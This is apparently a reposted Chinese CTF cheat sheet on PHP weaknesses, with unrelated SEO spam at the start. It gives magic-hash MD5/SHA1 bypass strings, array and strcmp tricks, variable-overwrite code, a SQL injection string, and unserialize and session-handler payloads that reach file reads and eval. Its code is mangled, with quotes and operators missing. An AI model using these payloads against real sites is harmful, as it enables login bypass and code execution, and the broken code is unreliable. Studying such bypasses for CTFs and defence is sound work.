广东做淘宝的都在哪里网站,重庆房产信息网官网,广州专业做外贸网站,网站设计联系方式1.MD5 compare漏洞 PHP在处理哈希字符串时#xff0c;会利用”!”或””来对哈希值进行比较#xff0c;它把每一个以”0E”开头的哈希值都解释为0#xff0c;所以如果两个不同的密码经过哈希以后#xff0c;其哈希值都是以”0E”开头的#xff0c;那么PHP将会认为他们相同…1.MD5 compare漏洞 PHP在处理哈希字符串时会利用”!”或””来对哈希值进行比较它把每一个以”0E”开头的哈希值都解释为0所以如果两个不同的密码经过哈希以后其哈希值都是以”0E”开头的那么PHP将会认为他们相同都是0。 常见的payload有
0x01 md5(str) QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a sha1(str) sha1(aaroZmOk) sha1(aaK1STfY) sha1(aaO8zKZF) sha1(aa3OFF9m)
0x02 md5(md5(str).SALT) 2 同时MD5不能处理数组若有以下判断则可用数组绕过
if(md5($_GET[a]) md5($_GET[b])) { echo yes; } //http://127.0.0.1/1.php?a[]1b[]2 2.ereg函数漏洞00截断 ereg (^[a-zA-Z0-9]$, $_GET[password]) FALSE 1 字符串对比解析 在这里如果 $_GET[‘password’]为数组则返回值为NULL 如果为123 || asd || 12as || 123%00**则返回值为true 其余为false
3.变量本身的key 说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值但是忘记了有的程序把变量本身的key也当变量提取给函数处理。 ?php //key.php?aaaaaaa1bbb2 //print_R($_GET); foreach ($_GET AS $key $value) { print $key.\n; } ? 4.变量覆盖 extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖
?php $auth 0; // 这里可以覆盖$auth的变量值 extract($_GET); if($auth 1){ echo private!; } else{ echo public!; } ? ?php $ahi; foreach($_GET as $key $value) { echo $key; $$key $value; } print $a; ? 5.strcmp 如果 str1 小于 str2 返回 0 如果 str1 大于 str2 返回 0如果两者相等返回 0。 5.2 中是将两个参数先转换成string类型。 5.3.3以后当比较数组和字符串的时候返回是0。 5.5 中如果参数不是string类型直接return了
?php $password$_GET[password]; if (strcmp(xd,$password)) { echo NO!; } else{ echo YES!; } ? 6.sha1 和 md5 函数 md5 和 sha1 无法处理数组返回 NULL
if (sha1([]) false) echo 1; if (md5([]) false) echo 2; echo var_dump(sha1([])); 7.is_numeric PHP提供了is_numeric函数用来变量判断是否为数字。但是函数的范围比较广泛不仅仅是十进制的数字。
?php echo is_numeric(233333); # 1 echo is_numeric(233333); # 1 echo is_numeric(0x233333); # 1 echo is_numeric(0x233333); # 1 echo is_numeric(233333abc); # 0 ? 8.preg_match 如果在进行正则表达式匹配的时候没有限制字符串的开始和结束(^ 和 $)则可以存在绕过的问题
?php $ip 1.1.1.1 abcd; // 可以绕过 if(!preg_match(/(\d)\.(\d)\.(\d)\.(\d)/,$ip)) { die(error); } else { echo(key...); } ? 9.parse_str 与 parse_str() 类似的函数还有 mb_parse_str()parse_str 将字符串解析成多个变量如果参数str是URL传递入的查询字符串query string则将它解析为变量并设置到当前作用域。
//var.php?varnew $varinit; parse_str($_SERVER[QUERY_STRING]); print $var; 10.字符串比较 是弱类型的比较以下比较都为 true ?php echo 0 a ;// a 转换为数字为 0 重点注意
// 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc // 十六进制与整数被转换为同一进制比较 0xccccccccc 54975581388 ; // 字符串在与数字比较前会自动转换为数字如果不能转换为数字会变成0 1 1; 1 01; 10 1e1; 100 1e2 ;
// 十六进制数与带空格十六进制数被转换为十六进制整数 0xABCdef 0xABCdef; echo 0010e2 1e3; // 0e 开头会被当成数字又是等于 0*10^xxx0 // 如果 md5 是以 0e 开头在做比较的时候可以用这种方法绕过 0e509367213418206700842008763514 0e481036490867661113260034900752; 0e481036490867661113260034900752 0 ;
var_dump(md5(240610708) md5(QNKCDZO)); var_dump(md5(aabg7XSs) md5(aabC9RqS)); var_dump(sha1(aaroZmOk) sha1(aaK1STfY)); var_dump(sha1(aaO8zKZF) sha1(aa3OFF9m)); ? 11.unset unset(bar);用来销毁指定的变量如果变量bar);用来销毁指定的变量如果变量bar 包含在请求参数中可能出现销毁一些变量而实现程序逻辑绕过。
?php // http://127.0.0.1/index.php?_CONFIG123 $_CONFIG[extraSecure] true;
foreach(array(_GET,_POST) as $method) { foreach($$method as $key$value) { // $key _CONFIG // $$key $_CONFIG // 这个函数会把 $_CONFIG 变量销毁 unset($$key); } }
if ($_CONFIG[extraSecure] false) { echo flag {****}; } ? 12.intval() int转string
$var 5; 方式1$item (string)$var; 方式2$item strval($var); string转intintval()函数。
var_dump(intval(2)) //2 var_dump(intval(3abcd)) //3 var_dump(intval(abcd)) //0 说明intval()转换的时候会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串intval()不会报错而是返回0。 利用代码
?php $a 10000 union select * from yz; if(intval($a)1000) echo $a ; ? 13.switch() 如果switch是数字类型的case的判断时switch会将其中的参数转换为int类型。如下
?php $i 2abc; switch ($i) { case 0: case 1: case 2: echo i is less than 3 but not negative; break; case 3: echo i is 3; } ? 这个时候程序输出的是i is less than 3 but not negative是由于switch()函数将$i进行了类型转换转换结果为2。
14.in_array() $array[0,1,2,3]; var_dump(in_array(abc, $array)); //true var_dump(in_array(1bc, $array)); //true 可以看到上面的情况返回的都是true,因为’abc’会转换为0’1bc’转换为1。 在所有php认为是int的地方输入string都会被强制转换
15.serialize 和 unserialize漏洞 1.魔术方法
这里我们先简单介绍一下php中的魔术方法这里如果对于类、对象、方法不熟的先去学学吧即Magic方法php类可能会包含一些特殊的函数叫magic函数magic函数命名是以符号__开头的比如 __construct __destruct__toString__sleep__wakeup等等。这些函数都会在某些特殊时候被自动调用。 例如__construct()方法会在一个对象被创建时自动调用对应的__destruct则会在一个对象被销毁时调用等等。 这里有两个比较特别的Magic方法__sleep 方法会在一个对象被序列化的时候调用。 __wakeup方法会在一个对象被反序列化的时候调用。
在这里介绍一个序列化漏洞首先不要相信用户输入的一切 看下面代码
?php class test { public $username ; public $password ; public $file ; public function out(){ echo username: .$this-username.br.password: .$this-password ; } public function __toString() { return file_get_contents($this-file); } } $a new test(); $a-file C:\Users\YZ\Desktop\plan.txt; echo serialize($a); ? //tostring方法会在输出实例的时候执行如果实例路径是隐秘文件就可以读取了 下面就可以读取了C:\Users\YZ\Desktop\plan.txt文件了 echo unserialize触发了__tostring函数
?php class test { public $username ; public $password ; public $file ; public function out(){ echo username: .$this-username.br.password: .$this-password ; } public function __toString() { return file_get_contents($this-file); } } $a O:4:test:3:{s:8:username;s:0:;s:8:password;s:0:;s:4:file;s:28:C:\Users\YZ\Desktop\plan.txt;}; echo unserialize($a); ? 16.session 反序列化漏洞 主要原因是 ini_set(‘session.serialize_handler’, ‘php_serialize’); ini_set(‘session.serialize_handler’, ‘php’); 两者处理session的方式不同
利用下面代码可以生成session值
?php ini_set(session.serialize_handler, php_serialize);//a:1:{s:6:spoock;s:3:111;} //ini_set(session.serialize_handler, php);//a|s:3:111 session_start(); $_SESSION[spoock]$_GET[a]; ? 我们来看看生成的session值 spoock|s:3:111; //session键值|内容序列化 a:1:{s:6:spoock;s:3:111;}a:1:{s:N:session键值;内容序列化} 在ini_set(session.serialize_handler, php);中把|之前认为是键值后面的视为序列化 那么就可以利用这一漏洞执行一些恶意代码 看下面的例子 1.php
?php ini_set(session.serialize_handler, php_serialize); session_start(); $_SESSION[spoock]$_GET[a]; ? 2.php
?php ini_set(session.serialize_handler, php); session_start(); class lemon { var $hi; function __construct(){ $this-hi phpinfo();; } function __destruct() { eval($this-hi);//这里很危险可以执行用户输入的参数 } } ? 在1.PHP里面输入a参数序列化的值|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;} 则被序列化为 a:1:{s:6:”spoock”;s:44:”|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;} 在2.PHP里面打开 就可以执行phpinfo了 --------------------- 作者4ct10n 来源CSDN 原文https://blog.csdn.net/qq_31481187/article/details/60968595 版权声明本文为博主原创文章转载请附上博文链接